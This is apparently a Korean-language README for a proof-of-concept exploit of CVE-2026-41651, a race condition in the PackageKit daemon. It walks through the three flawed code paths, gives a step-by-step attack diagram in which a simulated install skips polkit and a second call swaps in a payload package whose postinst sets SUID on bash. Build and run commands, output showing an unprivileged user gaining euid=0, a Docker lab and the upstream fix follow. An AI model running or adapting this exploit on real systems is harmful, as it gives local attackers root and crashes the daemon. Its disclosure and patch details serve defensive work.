
PackageKit의 트랜잭션 핸들러에서 TOCTOU 레이스를 악용하여 인증 없이 루트 권한으로 임의의 패키지를 설치하고, 로컬 권한 상승 및 SUID 셸을 획득합니다.
PackageKit의 트랜잭션 핸들러에 있는 TOCTOU 경쟁 조건입니다. 로컬의 권한이 없는 사용자가 인증 없이 루트 권한으로 임의의 패키지를 설치할 수 있습니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-41651 |
| 구성 요소 | PackageKit 데몬 (packagekitd) |
| 영향을 받는 버전 | 1.0.2 – 1.3.4 |
| 수정된 버전 | 1.3.5 |
| 영향 | 로컬 권한 상승 → root |
| 인증 필요 | 없음 |
| 사용자 상호 작용 | 없음 |
| 테스트 환경 | Ubuntu 24.04, Debian 12 |

src/pk-transaction.c의 세 가지 버그가 연쇄적으로 작용하여 인증과 실행 사이에 TOCTOU 윈도우를 만듭니다.
InstallFiles()는 상태 확인 없이 cached_transaction_flags와 cached_full_paths를 무조건 덮어씁니다:
transaction->cached_transaction_flags = transaction_flags;
transaction->cached_full_paths = g_strdupv (full_paths);
pk_transaction_set_state()는 역방향 전이를 조용히 무시합니다. 플래그는 이미 덮어써졌지만 상태는 그대로 유지됩니다:
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
transaction->state > state) {
g_warning ("cannot set %s, as already %s", ...);
return;
}
pk_transaction_run()은 권한 부여 시점이 아니라 디스패치 시점(GLib idle에서)에 캐시된 플래그를 읽습니다:
case PK_ROLE_ENUM_INSTALL_FILES:
pk_backend_install_files (transaction->backend,
transaction->job,
transaction->cached_transaction_flags,
transaction->cached_full_paths);
break;
PK_TRANSACTION_FLAG_SIMULATE(비트 2, 값 0x4)를 설정하면 polkit 검사가 완전히 건너뜁니다:
if (pk_bitfield_contain (transaction->cached_transaction_flags,
PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
return TRUE;
}
Attacker packagekitd
│ │
│ CreateTransaction() │
│─────────────────────────────────►│ state = NEW
│◄─────────────────────────────────│
│ │
│ InstallFiles(SIMULATE, dummy) │
│─────────────────────────────────►│ SIMULATE → polkit skipped
│◄─────────────────────────────────│ state = READY
│ │ g_idle_add(run_idle_cb) ← queued
│ │
│ InstallFiles(NONE, payload) │ [BUG 1] flags + paths overwritten
│─────────────────────────────────►│ [BUG 2] set_state(WAITING_FOR_AUTH)
│◄─────────────────────────────────│ → silently rejected
│ │ state stays READY
│ │
│ [idle fires]│
│ │ pk_transaction_run()
│ │ [BUG 3] reads NONE + payload
│ │ → dpkg installs payload as root
│ │ → postinst: chmod +s /bin/bash
│ │
│ execv("/tmp/.suid_bash -p") │
│─────────────────────────────────►│
│ euid=0(root) │
두 InstallFiles 호출은 클라이언트의 메인 루프가 반복되기 전에 fire-and-forget 비동기 D-Bus 호출로 전송됩니다. 이로 인해 GLib idle이 실행되기 전에 두 메시지가 모두 서버 소켓에 도착함이 보장되므로 경쟁에서 이길 필요가 없습니다.
polkitd는 결국 두 번째 호출에 대해 NOT_AUTHORIZED를 반환하지만, 그때는 이미 APT가 설치를 디스패치한 상태입니다. 이 오류는 예상된 것이며 무해합니다.
sudo apt install libglib2.0-dev
make
다른 의존성은 없습니다 — .deb 패키지는 런타임에 순수 C로 빌드됩니다.
./cve-2026-41651
═══════════════════════════════════════════════════
CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
euid=0 — 커널의 모든 권한 검사는 유효 사용자 ID(effective UID)를 사용합니다.
docker build -t cve-2026-41651 .
docker run -it --rm cve-2026-41651
이 이미지는 소스(커밋 2149735, 마지막 취약 버전)에서 PackageKit 1.3.4를 빌드하고, dbus + polkitd + packagekitd를 시작한 다음 권한이 없는 사용자로 익스플로잇을 실행합니다.
g_assert 관련 참고: Docker 이미지는 pk-transaction.c의 g_assert (!transaction->emitted_finished) 가드를 패치로 제거합니다. 실제 패치되지 않은 시스템에서는 polkitd가 이미 Finished를 발생시킨 후 APT 스레드가 Finished를 발생시키려 할 때 이 assert가 실행되어 SIGABRT로 데몬이 충돌합니다. 그 시점에는 SUID bash가 이미 디스크에 있으므로 권한 상승은 성공합니다. 충돌은 부수적인 DoS입니다. packagekitd는 다음 D-Bus 활성화 시 다시 시작됩니다.
PackageKit 1.3.5 이상에서는 두 번째 호출이 거부됩니다:
[-] Target is PATCHED (PackageKit >= 1.3.5)
수정 사항은 pk_transaction_method_call()에 상태 가드를 추가합니다:
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
g_dbus_method_invocation_return_error (invocation,
PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, ...);
return;
}
pkcon --version
journalctl -u packagekit --since '5 min ago'